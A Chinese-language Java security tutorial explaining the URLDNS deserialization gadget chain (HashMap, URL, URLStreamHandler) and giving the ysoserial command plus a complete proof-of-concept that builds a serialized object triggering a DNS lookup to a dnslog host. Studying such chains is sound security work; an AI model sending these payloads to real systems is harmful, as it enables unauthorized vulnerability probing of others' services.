[java安全]URLDNS

文章目录

[java安全]URLDNS

前言

URLDNS利用链是一条很简单的链子,可以用来查看java反序列化是否存在反序列化漏洞,如果存在,就会触发dns查询请求

它有如下优点:

使用java内置类构造,对第三方库没有依赖

在目标没有回显的时候,可以使用DNS请求得知是否存在反序列化漏洞

在ysoserial下生成URLDNS的命令为:

java 复制代码
java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn"

在学习URLDNS之前,我们需要了解一些java内置的类

HashMap

在HashMap的类中有readObject()方法,

我们知道,如果一个类重写了readObject()方法,那么在反序列化时,就会执行重写的readObject()方法

java 复制代码
private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        ...
    	// Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

在HashMap的readObject()方法中调用了hash()方法,于是我们过去hash方法中看一下:

java 复制代码
static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

发现调用了key变量的hashCode()方法,这里的key是可以控制的

这里我们就知道需要一个新的类了:

URL

java.net.URL类中存在一个hashCode方法:

java 复制代码
public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

hashCode变量初值为-1

java 复制代码
private int hashCode = -1;

hashCode变量不等于-1时,就会return结束函数

hashCode=-1,会调用 handler的hashCode方法,参数是URL类的对象

然后我们查看一下handler类是什么类型:

java 复制代码
transient URLStreamHandler handler;

发现是URLStreamHandler类,于是我们再查看一下该类

URLStreamHandler

hashCode方法

java 复制代码
protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        ...
    }

发现调用了getHostAddress(),参数为URL类对象,查看一下 getHostAddress()方法

java 复制代码
protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }

这个方法中有一个函数调用InetAddress.getByName(host),获取目标主机的ip地址,其实就是进行了一次DNS查询

调用过程

我们捋一下过程

我们可以先创建一个HashMap对象,然后让键的类型为URL,例如:

java 复制代码
HashMap<URL, String> hashMap = new HashMap<URL, String>();

然后创建一个URL类对象,参数我们传入DNS平台的url即可

这里有一些很重要的注意点

如何我们直接调用Map的put(),将HashMap中添加一个元素,可能会导致误触URL请求

我们看一下HashMap的put()方法 :

java 复制代码
public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

发现put方法也会调用hash()方法,所以我们需要想办法避免触发

我们想到URL类中的hashCode变量初值为-1,当值为-1时URL类中的hashCode()方法会return返回,所以我们可以将URL对象添加到HashMap之前将hashCode变量设置为其他值即可

如何才能设置hashCode等于其他值呢?

我们需要使用java反射:

java 复制代码
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); //使用内部方法
f.setAccessible(true); //hashCode是私有变量,所以要设置访问权限
// hashMap.put时会调用hash(key),这里先把hashCode(初值为-1)设置为其他值,避免和后面的DNS请求混淆,导致触发dns
f.set(url, 0xAAA);

添加到HashMap中之后,我们需要使用反射把hashCode=-1

调用链

java 复制代码
HashMap.readObject()
	HashMap.hash()
		URL.hashCode()
			URLStreamHandler.hashCode()
				URLStreamHandler.getHostAddress()

流程图

POC

java 复制代码
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
    public static Object urldns() throws Exception{
        //漏洞出发点 hashmap,实例化出来
        HashMap<URL, String> hashMap = new HashMap<URL, String>(); //URL对象传入自己测试的dnslog
        URL url = new URL("http://txbjb7.dnslog.cn"); //反射获取 URL的hashcode方法
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); //使用内部方法
        f.setAccessible(true);
        // hashMap.put时会调用hash(key),这里先把hashCode设置为其他值,避免和后面的DNS请求混淆
        f.set(url, 0xAAA);
        hashMap.put(url, "leekos");
        // hashCode 这个属性放进去后设回 -1, 这样在反序列化时就会重新计算 hashCode
        f.set(url, -1);
        // 序列化成对象,输出出来
       return hashMap;
    }
    public static void main(String[] args) throws Exception {
        payload2File(urldns(),"obj");
        payloadTest("obj");
    }
    public static void payload2File(Object instance, String file)
            throws Exception {
        //将构造好的payload序列化后写入文件中
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static void payloadTest(String file) throws Exception {
        //读取写入的payload,并进行反序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
        in.close();
    }
}
相关推荐
Hui Baby28 分钟前
springAi+MCP三种
java
hsjcjh30 分钟前
【MySQL】C# 连接MySQL
java
敖正炀31 分钟前
LinkedBlockingDeque详解
java
wangyadong31732 分钟前
datagrip 链接mysql 报错
java
untE EADO38 分钟前
Tomcat的server.xml配置详解
xml·java·tomcat
ictI CABL1 小时前
Tomcat 乱码问题彻底解决
java·tomcat
敖正炀1 小时前
DelayQueue 详解
java
Y学院1 小时前
虚拟机安装ParrotOS完整教程(VMware+VirtualBox双版本)
安全·网络安全
敖正炀1 小时前
PriorityBlockingQueue 详解
java
shark22222221 小时前
Spring 的三种注入方式?
java·数据库·spring